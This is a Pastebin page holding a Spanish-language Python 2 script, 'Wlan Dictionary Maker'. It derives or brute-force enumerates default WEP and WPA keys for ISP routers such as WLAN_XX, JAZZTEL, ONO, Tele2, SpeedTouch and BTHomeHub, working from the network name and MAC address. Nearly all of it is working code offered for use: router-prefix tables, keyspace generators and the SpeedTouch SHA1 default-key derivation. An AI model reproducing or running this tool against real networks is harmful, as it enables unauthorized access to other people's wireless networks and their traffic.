Advertisement
Guest User

Kenkeiras - wdic.py

a guest
Aug 2nd, 2010
550
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 27.23 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # Escrito por kenkeiras
  4. # Bajo la licencia GPLv3
  5.  
  6. import string
  7. import sys
  8.  
  9. #################################################################
  10. # Esto elimina esos molestos ':' de la bssid
  11.  
  12. def clean_bssid(bssid):
  13.  
  14.         new=[]
  15.         i=0
  16.         for element in bssid:
  17.           if element!=':':
  18.                     new.append(element)
  19.                     i=i+1
  20.  
  21.         return new
  22.  
  23. #################################################################    
  24. # Esto comprueba que la mac/bssid tenga la longitud adecuada
  25.  
  26. def check_bssid(bssid,num):
  27.     if len(bssid)==num:
  28.         return True
  29.     else:
  30.         return False
  31.  
  32. #################################################################    
  33. # Pasa un string a hexadecimal
  34.  
  35. def ascii2hex(arr):
  36.         lst=[]
  37.         for element in arr:
  38.                 elm=string.join(hex(ord(element)),"")
  39.                 lst.append(elm[2:len(elm)])
  40.         return  string.join(lst,"")
  41.  
  42. ##################################################################
  43. # Esto va haciendo pasar a un array de enteros por todos los valores
  44.  
  45. def permute_int(array,num):
  46.         new=array
  47.         while num>0:
  48.                 if new[num]!=9:
  49.                         new[num]+=1
  50.                         break
  51.                 else:
  52.                         new[num]=int(0)
  53.                         num-=1
  54.         return new
  55.  
  56. ##################################################################
  57. # Esto va haciendo pasar a un array de caracteres por todos los valores decimales
  58.  
  59. def permute_text_int(array,num):
  60.         new=array
  61.         while num>0:
  62.                 if new[num]!='9':
  63.                         new[num]=chr(ord(new[num])+1)
  64.                         break
  65.                 else:
  66.                         new[num]='0'
  67.                         num-=1
  68.         return new
  69.  
  70. ##################################################################
  71. # Esto va haciendo pasar a un array de caracteres en minuscula por todos los valores
  72.  
  73. def permute_lowcase(array,num):
  74.  
  75.         new=array
  76.         while num>0:
  77.                 if new[num]!='z':
  78.                         new[num]=chr(ord(new[num])+1)
  79.                         break
  80.                 else:
  81.                         new[num]='a'
  82.                         num-=1
  83.         return new
  84.  
  85.  
  86.  
  87. ##################################################################
  88. # Esto va haciendo pasar a un array de caracteres por todos los valores hexadecimales
  89.  
  90. def permute_hex(array,num):
  91.  
  92.         new=array
  93.         while num>0:
  94.                 if new[num]!='F':
  95.                         if new[num]=='9':
  96.                                 new[num]='A'
  97.                         else:
  98.                                 new[num]=chr(ord(new[num])+1)
  99.                         break
  100.                 else:
  101.                         new[num]='0'
  102.                         num-=1
  103.         return new
  104.  
  105. ##################################################################
  106. # Esto va haciendo pasar a un array de caracteres por todos los caracteres y numeros
  107.  
  108. def permute_comp(array,num):
  109.  
  110.         new=array
  111.         while num>0:
  112.                 if new[num]!='Z':
  113.                         if new[num]=='9':
  114.                                 new[num]='A'
  115.                         else:
  116.                                 new[num]=chr(ord(new[num])+1)
  117.                         break
  118.                 else:
  119.                         new[num]='0'
  120.                         num-=1
  121.         return new
  122.  
  123. ###################################################################
  124. # Cambia todas las letras de un array de caracteres hexadecimales a mayuscula
  125.  
  126. def hex_upcase(array):
  127.         new=[]
  128.         for element in array:
  129.                 if element<='9':
  130.                         new.append(element)
  131.                 else:
  132.                         if element>='a':
  133.                                 if element=='a':
  134.                                         new.append('A')
  135.                                 elif element=='b':
  136.                                         new.append('B')
  137.                                 elif element=='c':
  138.                                         new.append('C')
  139.                                 elif element=='d':
  140.                                         new.append('D')
  141.                                 elif element=='e':
  142.                                         new.append('E')
  143.                                 elif element=='f':
  144.                                         new.append('F')
  145.  
  146.                         else:
  147.                                 new.append(element)
  148.         return new
  149.  
  150. ##################################################################
  151. # Muestra un array
  152.  
  153. def strshow(array):
  154.         print string.join(array,'')
  155.  
  156. ##################################################################
  157. #
  158. # Aqui empieza lo interesante... ;)}
  159. #
  160. ##################################################################
  161. # WLAN
  162. # Para las redes WLAN_XX y JAZZTEL_XX
  163. # Esto va preparando las contrasenhas y las va pasando al strshow para que las muestre
  164.  
  165. def show_wlan(p1,p2,end):
  166.         act=[]
  167.         fin=[]
  168.         passwd=range(13)
  169.         for char in p1:
  170.                 act.append(char)
  171.                 fin.append(char)
  172.         i=0
  173.         while (i<4):
  174.                 act.append('0')
  175.                 fin.append('F')
  176.                 i+=1
  177.         for char in p2:
  178.                 act.append(char)
  179.         for char in end:
  180.                 fin.append(char)
  181.         if (p2=="00"):
  182.                 offset=12
  183.         else:
  184.                 offset=10
  185.         while (act!=fin):
  186.                 i=0
  187.                 for char in act:
  188.                         passwd[i]=str(char)
  189.                         i+=1
  190.                 strshow(passwd)
  191.                 if act[11:13]==fin[11:13]:
  192.                         act=permute_hex(act,offset)
  193.                 else:        
  194.                         act=permute_hex(act,offset)
  195.         strshow(fin)
  196.  
  197. ##################################################################
  198. # Esto recibe la mac, busca el modelo del router y manda el principio de la contrasenha y el final (que viene de la funcion que wlan) a show_wlan
  199. # Nota: se espera que el primer par de la bssid sea 00, asi que ya no se comprueba
  200.  
  201. def get_wlan_bssid(mac,chars,end):
  202.         # Z-Com
  203.         #
  204.         if (mac[2]=='6' and mac[3]=='0' and mac[4]=='B' and mac[5]=='3'):
  205.                 show_wlan('Z001349',chars,end)
  206.                
  207.         # Xavy
  208.         #
  209.         elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='8'):
  210.                 show_wlan('X000138',chars,end)
  211.                
  212.         # Comtrend
  213.         #
  214.         elif (mac[2]=='0' and mac[3]=='3' and mac[4]=='C' and mac[5]=='9'):
  215.                 show_wlan('C0030DA',chars,end)
  216.                
  217.         # Zyxel
  218.         # ->(thefkboss)
  219.         elif (mac[2]=='A' and mac[3]=='0' and mac[4]=='C' and mac[5]=='5'):
  220.                 show_wlan('Z001349',chars,end)
  221.                
  222.         # Comtrend (otro mas)
  223.         # ->(dnreinad)
  224.         elif (mac[2]=='1' and mac[3]=='6' and mac[4]=='3' and mac[5]=='8'):
  225.                 show_wlan('C0030DA',chars,end)
  226.                
  227.         # P-660-HW-D1
  228.         # ->(Tertulia de foro.elhacker.net)
  229.         elif (mac[2]=='1' and mac[3]=='3' and mac[4]=='4' and mac[5]=='9'):
  230.                 show_wlan('Z001349',chars,end)
  231.                 show_wlan('Z0002CF',chars,end)
  232.                
  233.         # ZyGate
  234.         #
  235.         elif (mac[2]=='0' and mac[3]=='2' and mac[4]=='C' and mac[5]=='F'):
  236.                 show_wlan('Z0002CF',chars,end)
  237.                 show_wlan('Z0023F8',chars,end)
  238.                
  239.         # Jazztel
  240.         elif (mac[2]=='1' and mac[3]=='A' and mac[4]=='2' and mac[5]=='B'):
  241.                show_wlan('E001D20',chars,end)
  242.         # Y Comtrend 2007-2008
  243.         # ->(dudux* y dnreinad)
  244.                show_wlan('C0030DA',chars,end)
  245.                show_wlan('C001D20',chars,end)
  246.  
  247.         # ZyGate
  248.         # ->(pianista y Sycho)
  249.         elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='C' and mac[5]=='B'):
  250.                 show_wlan('Z0002CF',chars,end)
  251.                 show_wlan('Z0019CB',chars,end)
  252.                
  253.         # Comtrend
  254.         # ->(hrodgar)
  255.         elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='1' and mac[5]=='5'):
  256.                 show_wlan('C0030DA',chars,end)
  257.                
  258.         # Comtrend 2008
  259.         # ->(Mugen de el foro.elhacker.net)
  260.         elif (mac[2]=='3' and mac[3]=='0' and mac[4]=='D' and mac[5]=='A'):
  261.                 show_wlan('C0030DA',chars,end)
  262.                
  263.         # Comtrend 2008
  264.         #
  265.         elif (mac[2]=='1' and mac[3]=='D' and mac[4]=='2' and mac[5]=='0'):
  266.                 show_wlan('C001D20',chars,end)
  267.                
  268.         # Zyxel P660HW-D1  2009
  269.         # ->(Zim_Zum y buckynet de seguridadwireless.net)
  270.         elif (mac[2]=='2' and mac[3]=='3' and mac[4]=='F' and mac[5]=='8'):
  271.                 show_wlan('C0023F8',chars,end)
  272.                
  273.         # Xavy 2009
  274.         # ->(zim_zum y *dudux)
  275.         elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='6'):
  276.                 show_wlan('X000138',chars,end)
  277.        
  278.        
  279.         else:
  280.                 print >> sys.stderr, "Error, MAC comenzada por 00:"+str(mac[2])+str(mac[3])+":"+str(mac[4])+str(mac[5])+" no encontrada!!"
  281.  
  282. ##################################################################
  283. # Esto limpia la mac y coje lo interesante de la essid y lo manda todo a get_wlan_bssid
  284.  
  285. def wlan(essid,bssid):
  286.         mac=range(12)
  287.         variable_chars=[]
  288.         end=[]
  289.         if (essid[len(essid)-1])=='?':
  290.                 end.append('F')
  291.                 end.append('F')
  292.                 variable_chars.append('0')
  293.                 variable_chars.append('0')
  294.         else:
  295.                 variable_chars.append(essid[len(essid)-2])
  296.                 variable_chars.append(essid[len(essid)-1])
  297.                 end=variable_chars
  298.         mac=clean_bssid(bssid)
  299.         mac=hex_upcase(mac)
  300.         variable_chars=string.join(variable_chars,'')
  301.         end=string.join(end,'')
  302.         if check_bssid(mac,12)==False:
  303.             print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
  304.         else:
  305.                 get_wlan_bssid(mac,variable_chars,end)
  306.  
  307. ###################################################################
  308. # Este es el menu de las funciones de WLAN
  309.  
  310. def menu_wlan():
  311.     print >> sys.stderr,"Introduce la MAC del router:",
  312.     mac=raw_input('')
  313.     print >> sys.stderr,"Introduce el nombre de la red (?? si no se conoce):",
  314.     essid=raw_input('')
  315.     wlan(essid,mac)
  316.  
  317.  
  318. ###################################################################
  319. # r-wlan
  320. # Para las redes r-wlan
  321. # Este se encarga de todo el proceso de r-wlan (prepara las strings inicial y final y va mandandolas todas a strshow)
  322.  
  323. def r_wlan(opc,init=0,end=0):
  324.         passwd=range(12)
  325.         if opc=='a':
  326.                 act=[int(init[0]),int(init[1]),int(init[2]),int(init[3]),0,0,0,0]
  327.                 fin=[int(end[0]),int(end[1]),int(end[2]),int(end[3]),9,9,9,9]
  328.         else:
  329.                 act=[0,0,0,0,0,0,0,0]
  330.                 fin=[9,9,9,9,9,9,9,9]
  331.         passwd[8:12]='00000'
  332.         while (act!=fin):
  333.                 i=0
  334.                 for caja in act:
  335.                         passwd[i]=str(caja)
  336.                         i+=1
  337.                 strshow(passwd)
  338.                 act=permute_int(act,7)
  339.         #Y una ultima vez para la ultima string
  340.         i=0
  341.         for caja in act:
  342.                 passwd[i]=str(caja)
  343.                 i+=1
  344.         strshow(passwd)
  345.  
  346. ###############################################################
  347. # Muestra las opciones para las redes r-wlan
  348.  
  349. def menu_r_wlan():
  350.         opc=''
  351.         init=''
  352.         end=''
  353.        
  354.         while (opc!='g' and opc!='a'):
  355.                 print >> sys.stderr,"Que tipo de diccionario prefieres, general(g) o por anhos(a)?",
  356.                 opc=raw_input('')
  357.         if opc=='a':
  358.                 print >> sys.stderr,"Introduce anho incicial (4 digitos):",
  359.                 init=raw_input('')
  360.                 print >> sys.stderr,"Introduce anho final (4 digitos):",
  361.                 end=raw_input('')
  362.         r_wlan(opc,init,end)
  363.  
  364. ###################################################################
  365. # ADSL
  366. # Para las redes ADSLXXXX
  367. # Esto se encarga de todo el proceso, comprueba que existe la libreria de hash, la importa y le va pasando los valores
  368.  
  369. def adsl_wlan(essid):
  370.         haymd5=True
  371.         essid_vars=range(4)
  372.         try:
  373.                 import hashlib
  374.         except:
  375.                 print >> sys.stderr, "No se ha encontrado el modulo de funciones hash."
  376.                 haymd5=False
  377.         if haymd5:
  378.                 i=4
  379.                 j=0
  380.                 act=range(8)
  381.                 while i>0:
  382.                         essid_vars[j]=essid[len(essid)-i]
  383.                         j+=1
  384.                         i-=1
  385.                 i=0
  386.                 while i<4:
  387.                         act[i]='a'
  388.                         i+=1
  389.                 while i<8:
  390.                         act[i]=essid_vars[i-4]
  391.                         i+=1
  392.                 fin=False
  393.                 while not fin:
  394.                         act=permute_lowcase(act,3)
  395.                         print hashlib.md5(str(act)).hexdigest()
  396.                         i=0
  397.                         j=0
  398.                         while i<4:
  399.                              if act[i]=='z':
  400.                                      j+=1
  401.                              i+=1
  402.                         if j==4:
  403.                                      fin=True
  404.  
  405. ################################################################
  406. # Esto es el menu para las ADSL
  407.  
  408. def menu_adsl_wlan():
  409.         print >> sys.stderr,"Introduce el nombre de la red:",
  410.         essid=raw_input('')
  411.         adsl_wlan(essid)
  412.  
  413. ################################################################
  414. # DLink
  415. # Para las redes DLINK-WIRELESS
  416. # Devuelve las dos posibles contrasenhas predefinidas a partir de la bssid
  417.  
  418. def dlink_wlan(bssid,auto):
  419.         # Ojo, que la master Key real es la misma pero con todos los valores +1
  420.         # pero esto esta asi para que funcione bien con los arrays de python
  421.         master_key=[5,0,4,1,2,3,5,4,1,2,3,0,2]
  422.         mac=clean_bssid(bssid)
  423.         mac=hex_upcase(mac)
  424.         if check_bssid(mac,12)==False:
  425.             print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
  426.         else:
  427.             ppas=[mac[0:2],mac[2:4],mac[4:6],mac[6:8],mac[8:10],mac[10:12]]
  428.             if auto==False:
  429.                   print >> sys.stderr, "Prueba con esta:\n",
  430.             for num in master_key:
  431.                 print  str(ppas[num][0])+str(ppas[num][1]),
  432.             print ''
  433.             if ppas[2][1]!='0' or ppas[2][0]!='0':
  434.                if auto==False:    
  435.                      print >> sys.stderr, "Y con esta:",
  436.                print ""
  437.                i=0
  438.                j=0
  439.                for num in master_key:
  440.                        if i==12:
  441.                                j=-1
  442.                        else:
  443.                                j=0
  444.                        if not (j==-1 and (ppas[num][1]=='A' or ppas[num][1]=='0')):
  445.                          print  str(ppas[num][0])+str(chr(ord(ppas[num][1])+j)),
  446.                        elif ppas[num][1]=='A':
  447.                            print  str(ppas[num][0])+"9",
  448.                        else:
  449.                            print  str(chr(ord(ppas[num][0])+j))+"F",
  450.                        i+=1
  451.        
  452. ############################################################
  453. # Menu para las D-link
  454.  
  455. def menu_dlink_wlan():
  456.       print >> sys.stderr,"Introduce la MAC del router:",
  457.       mac=raw_input('')
  458.       dlink_wlan(mac,False)
  459.  
  460. ############################################################
  461. # ONO
  462. # Para las redes PXXXXXXXXXXXXX
  463. # Devuelve la contrasenha por defecto de estas redes. (No comprueba si el essid es correcto, lo unico que hace es eliminar la P y restarle 1 a lo que queda)
  464.  
  465. def ono_wlan(essid,auto):
  466.         i=0
  467.         nov=[]
  468.  
  469.         for algo in essid:
  470.                 if algo!='P' and algo!='p':
  471.                         ult=int(algo)
  472.                         nov.append(algo)
  473.         if ult!=0:
  474.                 ult-=1
  475.                 nov[len(nov)-1]=str(ult)
  476.         if auto==False:
  477.                 print >> sys.stderr, "Prueba con esta: ",
  478.         for byte in nov:
  479.             print byte,
  480.  
  481. #################################################################
  482. # Menu para las redes de ONO
  483.  
  484. def menu_ono_wlan():
  485.         print >> sys.stderr,"Introduce el Nombre de la red:",
  486.         essid=raw_input('')
  487.         ono_wlan(essid,False)
  488.  
  489. #################################################################
  490. # Tele2
  491. # Para las redes de Tele2
  492. # Va preparando las contrasenhas predeterminadas posibles y mandandolas a strshow
  493.  
  494. def tele2_wlan(opc):
  495.         act=range(9)
  496.         fin=range(9)
  497.         i=1
  498.         while (i<9):
  499.                 act[i]='0'
  500.                 i+=1
  501.         i=1
  502.         while (i<9):
  503.                 fin[i]='9'
  504.                 i+=1
  505.         if opc=='7':
  506.                 act[0]=opc
  507.                 fin[0]=opc
  508.         elif opc=='8':
  509.                 act[0:2]='PV'
  510.                 fin[0:2]='PV'
  511.         else:
  512.                 act[0]='0'
  513.                 fin[0]='9'
  514.         passwd=range(13)
  515.         passwd[0:4]="IX1V"
  516.         while (act!=fin):
  517.                 i=4
  518.                 for char in act:
  519.                         passwd[i]=str(char)
  520.                         i+=1
  521.                 strshow(passwd)
  522.                 act=permute_text_int(act,8)
  523.  
  524. #################################################################
  525. # Menu para las Tele2
  526.  
  527. def menu_tele2_wlan():
  528.     opc=''
  529.     while (opc!='g' and opc!='7' and opc!='8'):
  530.                 print >> sys.stderr,"Que tipo de diccionario prefieres, general(g), el de 2007(7), el de 2008(8)?",
  531.                 opc=raw_input('')
  532.     tele2_wlan(opc)
  533. #################################################################
  534. # SpeedTouch
  535. # Para redes SpeedTouch
  536. # ->Algoritmo descubierto por Kevin Devine
  537. # Funcion general
  538.  
  539. def speed_touch_wlan(ssid,num,inicio,fin):
  540.         lib=True
  541.         try:
  542.                 import hashlib
  543.         except:
  544.                 lib=False
  545.                 print >> sys.stderr, "No se encontro la libreria de hashes"
  546.         if lib:
  547.                 endyear=[]
  548.                 passwd=range(9)
  549.                 endyear.append(fin[0])
  550.                 endyear.append(fin[1])
  551.                 essid=ssid[len(ssid)-num:len(ssid)]
  552.                 essid=essid.lower()
  553.                 true_endyear=permute_text_int(endyear,1)
  554.                 passwd[0:2]="CP"
  555.                 passwd[2:4]=string.join(inicio,"")   # Anho de inicio
  556.                 while passwd[2:4]!=true_endyear:
  557.                         passwd[4:6]="00"
  558.                         while string.join(passwd[4:6],"")!="53":
  559.                                 passwd[6:9]="000"
  560.                                 while string.join(passwd[6:9],"")!="ZZZ":
  561.                                         check_speedTouch(passwd,essid,num)
  562.                                         permute_comp(passwd,8)
  563.                                 check_speedTouch(passwd,essid,num)
  564.                                 permute_text_int(passwd,5)
  565.                         check_speedTouch(passwd,essid,num)
  566.                         permute_text_int(passwd,3)
  567.  
  568. #################################################################
  569. # Funcion de comprobacion de las redes SpeedTouch
  570.  
  571. def check_speedTouch(pas,essid,num):
  572.         import hashlib
  573.         correct=True
  574.         hexpas=range(12)
  575.         hexpas[0:6]=pas[0:6]
  576.         hexpas[6:12]=ascii2hex(pas[6:9])
  577.         out=hashlib.sha1(string.join(hexpas,"")).hexdigest()
  578.         chk=string.join(out[len(out)-num:len(out)],"")
  579.         if essid==chk:
  580.                 if num==6:
  581.                         print str(out[0:10].upper())
  582.                 else:
  583.                         print str(out[0:10].lower())
  584.  
  585. #################################################################
  586. # Menu para las redes SpeedTouch
  587.  
  588. def menu_speed_touch_wlan():
  589.         print >> sys.stderr,"Introduce el nombre de la red:",
  590.         essid=raw_input("")
  591.         print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
  592.         inicio=raw_input("")
  593.         print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
  594.         fin=raw_input("")
  595.         speed_touch_wlan(essid,6,inicio,fin)
  596.  
  597. #################################################################
  598. # Menu para las redes BTHomeHub
  599. # El resto del codigo se usa el de SpeedTouch
  600.  
  601. def menu_bthh_wlan():
  602.  
  603.         print >> sys.stderr,"Introduce el nombre de la red:",
  604.         essid=raw_input("")
  605.         print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
  606.         inicio=raw_input("")
  607.         print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
  608.         fin=raw_input("")
  609.         speed_touch_wlan(essid,4,inicio,fin)
  610.  
  611.  
  612. #################################################################
  613. # Mensaje de error (para cualquier error en los parametros)
  614.  
  615. def error_param():
  616.     print >> sys.stderr, "Error, parametros no validos."
  617.     print >> sys.stderr, "Ejecuta el script con -? para mostrar las opciones."
  618.  
  619. #################################################################
  620. # Mensaje de... ayuda?
  621.  
  622. def wdic_ayuda():
  623.     print >> sys.stderr, " Wlan Dictionary Maker"
  624.     print >> sys.stderr, " Opciones:\n"
  625.  
  626.     print >> sys.stderr, "  Sin argumentos: Ejecuta el script a traves de los menus.\n"
  627.  
  628.     print >> sys.stderr, "  =>Para redes WLAN o JAZZTEL: wdic.py wlan essid bssid"
  629.     print >> sys.stderr, "   essid: Nombre de la red Wifi (?? si no se conoce)."
  630.     print >> sys.stderr, "   bssid: Bssid de el punto de acceso.\n"
  631.  
  632.     print >> sys.stderr, "  =>Para redes R: wdic.py r -opc [anho_inicial] [anho_final]"
  633.     print >> sys.stderr, "   Opc: -g para diccionario general, -a para diccionario por anhos."
  634.     print >> sys.stderr, "   Anho final e inicial con 4 digitos.\n"
  635.  
  636.     print >> sys.stderr, "  =>Para redes ADSL: wdic.py adsl essid"
  637.     print >> sys.stderr, "   essid: Nombre de la red Wifi."
  638.     print >> sys.stderr, "  ->Salida en hexadecimal.\n"
  639.  
  640.     print >> sys.stderr, "  =>Para redes DLINK-WIRELESS: wdic.py dlink bssid"
  641.     print >> sys.stderr, "   bssid: Bssid de el punto de acceso."
  642.     print >> sys.stderr, "  ->Salida en hexadecimal.\n"
  643.  
  644.     print >> sys.stderr, "  =>Para redes ONO (PXXXXXXXXXXXX): wdic.py ono essid"
  645.     print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"
  646.  
  647.     print >> sys.stderr, "  =>Para redes Tele2: wdic.py tele2 opc "
  648.     print >> sys.stderr, "   Opc: g para diccionario general, 7 para diccionario de 2007 y 8 para el de 2008.\n"
  649.     print >> sys.stderr, "   Anho final e inicial con 2 digitos.\n"
  650.  
  651.     print >> sys.stderr, "  =>Para redes SpeedTouch: wdic.py speedtouch essid anho_inicial anho_final"
  652.     print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"
  653.  
  654.     print >> sys.stderr, "  =>Para redes BT Home Hub: wdic.py bthh essid anho_inicial anho_final"
  655.     print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"
  656.    
  657.     print >> sys.stderr, "  ->Nota: Cuando pide el nombre de la red solo coje la parte que cambia, asi que por ejemplo en WLAN_AB se podria poner simplemente AB\n"
  658.  
  659. #################################################################
  660. # Menu general del script
  661.  
  662. def menu():
  663.  
  664.         print >> sys.stderr, "Bienvenid@ a Wlan Dictionary Maker.\n"
  665.         fin=False
  666.         while (fin==False):
  667.                 print >> sys.stderr, "\tSelecciona un tipo de Wifi.\n"
  668.                 print >> sys.stderr, "\tWEP\n"
  669.                 print >> sys.stderr, "\t a) WLAN_XX"
  670.                 print >> sys.stderr, "\t b) JAZZTEL_XX"
  671.                 print >> sys.stderr, "\t c) R-WLANXX"
  672.                 print >> sys.stderr, "\t d) ADSLXXXX"
  673.                 print >> sys.stderr, "\t e) DLINK-WIRELESS"
  674.                 print >> sys.stderr, "\t f) PXXXXXXXXX\t(ONO)\n"
  675.                 print >> sys.stderr, "\tWPA\n"
  676.                 print >> sys.stderr, "\t g) Tele2"
  677.                 print >> sys.stderr, "\t h) SpeedTouch"
  678.                 print >> sys.stderr, "\t i) BTHomeHub"
  679.                 print >> sys.stderr, "\t x) Salir"
  680.  
  681.                 print >> sys.stderr, '\n->',
  682.                 opc=raw_input('')
  683.                 if (opc=='a'):
  684.                         menu_wlan()
  685.                 elif (opc=='b'):
  686.                         menu_wlan()
  687.                 elif (opc=='c'):
  688.                         menu_r_wlan()
  689.                 elif (opc=='d'):
  690.                         menu_adsl_wlan()
  691.                 elif (opc=='e'):
  692.                         menu_dlink_wlan()
  693.                 elif (opc=='f'):
  694.                         menu_ono_wlan()
  695.                 elif (opc=='g'):
  696.                         menu_tele2_wlan()
  697.                 elif (opc=='h'):
  698.                         menu_speed_touch_wlan()
  699.                 elif (opc=='i'):
  700.                         menu_bthh_wlan()
  701.                 elif (opc=='x'):
  702.                         fin=True
  703.                 else:
  704.                         print >> sys.stderr, "\n+-----------------------+"
  705.                         print >> sys.stderr, "| Opcion no encontrada. |"
  706.                         print >> sys.stderr, "+-----------------------+\n"
  707.                         print >> sys.stderr, " -> Pulsa enter para continuar.\n"
  708.                 if not fin:
  709.                         raw_input()
  710.  
  711.  
  712.  
  713. # Listo, de aqui hasta abajo solo se encarga de comprobar que argumentos se mandaron y lanzar las funciones
  714.  
  715. try:
  716.         argc=len(sys.argv)
  717. except:
  718.         argc=1
  719.  
  720. # Sin parametros (menu):
  721. if argc==1:
  722.     menu()
  723.  
  724. # Ayuda:
  725. elif argc==2 and sys.argv[1]=="-?":
  726.     wdic_ayuda()
  727.  
  728. ###### WEP ######
  729.  
  730. # Wlan y Jazztel:
  731. elif sys.argv[1]=='wlan':
  732.     if argc==4:
  733.         wlan(sys.argv[2],sys.argv[3])
  734.     else:
  735.         error_param()
  736.  
  737. # R:
  738. elif sys.argv[1]=='r':
  739.     if argc>2:
  740.         if sys.argv[2]=='-a':
  741.             r_wlan('a',sys.argv[3],sys.argv[4])    
  742.         elif sys.argv[2]=='-g':
  743.             r_wlan('g')
  744.         else:
  745.             error_param()
  746.     else:
  747.         error_param()
  748.  
  749. # ADSL:
  750. elif sys.argv[1]=='adsl':
  751.         if argc==3:
  752.                 adsl_wlan(sys.argv[2])
  753.         else:
  754.                 error_param()
  755.  
  756. # D-Link
  757. elif sys.argv[1]=='dlink':
  758.         if argc==3:
  759.                 dlink_wlan(sys.argv[2],True)
  760.         else:
  761.                 error_param()
  762.  
  763. # ONO
  764. elif sys.argv[1]=='ono':
  765.         if argc==3:
  766.                 ono_wlan(sys.argv[2],True)
  767.         else:
  768.                 error_param()
  769.  
  770.  
  771. ###### WPA ######
  772.  
  773. # Tele2:
  774. elif sys.argv[1]=='tele2':
  775.     if argc==3:
  776.             tele2_wlan(sys.argv[2])    
  777.     else:
  778.         error_param()
  779.  
  780. # SpeedTouch:
  781. elif sys.argv[1]=='speedtouch':
  782.     if argc==5:
  783.             speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
  784.     else:
  785.         error_param()
  786.  
  787. # SpeedTouch:
  788. elif sys.argv[1]=='speedtouch':
  789.     if argc==5:
  790.             speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
  791.     else:
  792.         error_param()
  793.  
  794. # BT Home Hub:
  795. elif sys.argv[1]=='bthh':
  796.     if argc==5:
  797.             speed_touch_wlan(sys.argv[2],4,sys.argv[3],sys.argv[4])
  798.     else:
  799.         error_param()
  800.  
  801.  
  802. # Sino...
  803. else:
  804.     error_param()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement